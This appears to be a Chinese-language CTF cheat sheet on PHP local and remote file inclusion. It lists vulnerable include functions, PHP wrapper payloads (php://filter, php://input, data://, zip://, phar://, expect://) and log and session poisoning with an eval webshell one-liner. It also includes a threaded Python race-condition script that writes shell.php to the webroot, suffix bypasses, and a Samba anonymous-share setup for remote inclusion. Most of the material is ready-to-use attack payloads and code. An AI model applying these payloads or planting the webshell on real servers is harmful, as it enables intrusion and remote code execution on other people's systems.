文件包含漏洞
1.类型
本地文件包含
远程文件包含
php.ini 配置 allow_url_fopen = On、allow_url_include = On
包含 PHP 只会包含运行结果,所以最好先转 TXT 或者用以下方式
<?php echo '<?php @eval($_POST[1]);';
2.PHP文件包含函数
<?php
// 可执行代码
include $_GET[1]; // 出错会报错并继续执行
include_once $_GET[1]; // 只包含一次
require $_GET[1]; // 出错会报错并停止
require_once $_GET[1]; // 只包含一次
// 不可执行代码,都支持URL
highlight_file($_GET[1]); // 显示文件内容
show_source($_GET[1]); // 显示文件内容
readfile($_GET[1]); // 内容写入输出缓冲区,Ctrl+U
echo file_get_contents($_GET[1]); // 内容写入字符串
$fp = fopen($_GET[1], 'r'); // 打开文件或URL
echo fgets($fp);
3.PHP伪协议
file://绝对路径
php://filter/read=过滤器(可以不用,也可以用|加多个)/resource=相对路径或绝对路径
可用的过滤器:
convert.base64-encode
string.rot13(凯撒密码,字母后移13位)
convert.iconv.UCS-2LE.UCS-2BE(两个一组左右换)
过滤器绕过 die 写入一句话,CTFshow-WEB入门-文件包含web87 - LeiyNeKo - 博客园 (cnblogs.com)
php://input
POST:<?php phpinfo();?>
条件:php.ini 配置 allow_url_include = On
data://(可以去掉//)
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==(+ 要URL编码:%2b)
条件:php.ini 配置 allow_url_fopen = On、allow_url_include = On,PHP >= 5.2
phar://相对路径或绝对路径/shell.zip/shell.xx
忽视压缩包后缀,可以 shell.jpg/shell.txt
zip://相对路径或绝对路径/shell.zip%23shell.xx
忽视压缩包后缀
compress.zlib://相对路径或绝对路径/shell.xx(不用压缩)
expect://whoami
4.特殊文件的包含
日志投毒
UA改为一句话,包含日志文件
/var/log/nginx/access.log、/var/log/apache2/access.log、/var/log/httpd/access_log
Session包含
Session路径 可以在 phpinfo 的 session.save_path 看到,文件名为sess_+客户端session id
Payload:?1=<?php @eval($_POST[1]);?>&2=../tmp/tmp/sess_客户端session id
<?php
session_start();
$_SESSION['user'] = $_GET[1];
include($_GET[2]);
session.upload_progress包含
php.ini 对session.upload_progress 进行配置(去掉注释)
session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
通过构造的 POST请求 会生成内容可控的 sess_+客户端session id 文件,但是内容很快会被删除,所以需要通过条件竞争来包含
import io
import requests
import threading
url = 'http://xxx/'
sessionid = 'hacker'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url, cookies = {'PHPSESSID':sessionid}, data = {'PHP_SESSION_UPLOAD_PROGRESS':"<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"}, files={'file':('1.jpg',fileBytes)})
def read(session):
while True:
session.get(url+'?file=/tmp/sess_'+sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
例题:CTFshow-WEB入门-文件包含web82 - LeiyNeKo - 博客园 (cnblogs.com)
5.绕过
后缀绕过
远程文件包含,?file=http://IP/shell.txt?
远程文件包含,?file=http://IP/shell.txt%23
远程文件包含、本地文件包含,?file=http://IP/shell.txt%00
本地文件包含,用data://
本地文件包含,?file=shell.txt/././././.(文件后缀超出丢弃,Win256、Linux4096,PHP<5.3)
前路径绕过
本地文件包含,用相对路径
远程配置绕过
allow_url_fopen 和 allow_url_include 对 SMB协议 等协议无效,可以配置 Samba匿名访问 来绕过
配置 Samba匿名访问
创建共享文件夹,设置没有用户组(谁都可以访问)
mkdir /var/www/html/share
chmod 777 /var/www/html/share
chown -R nobody:nogroup /var/www/html/share
/etc/samba/smb.conf 重置为:
[global]
map to guest = bad user
guest account = nobody
[anonymous]
path = /var/www/html/share
browsable = yes
writable = yes
guest ok = yes
guest only = yes
create mode = 0777
directory mode = 0777
systemctl start smbd
进行远程文件包含
先在本地文件夹中访问 \\IP 来确认文件夹名称,然后远程文件包含
Payload:?file=//192.168.1.194/anonymous/shell.txt
6.CTF
php://filter/这里可以乱加东西,无效会被忽视/read=convert.base64-encode/resource=index.php
对包含文件的内容有要求,?include=php://input通过post内容来绕过
include"";
include%0a"";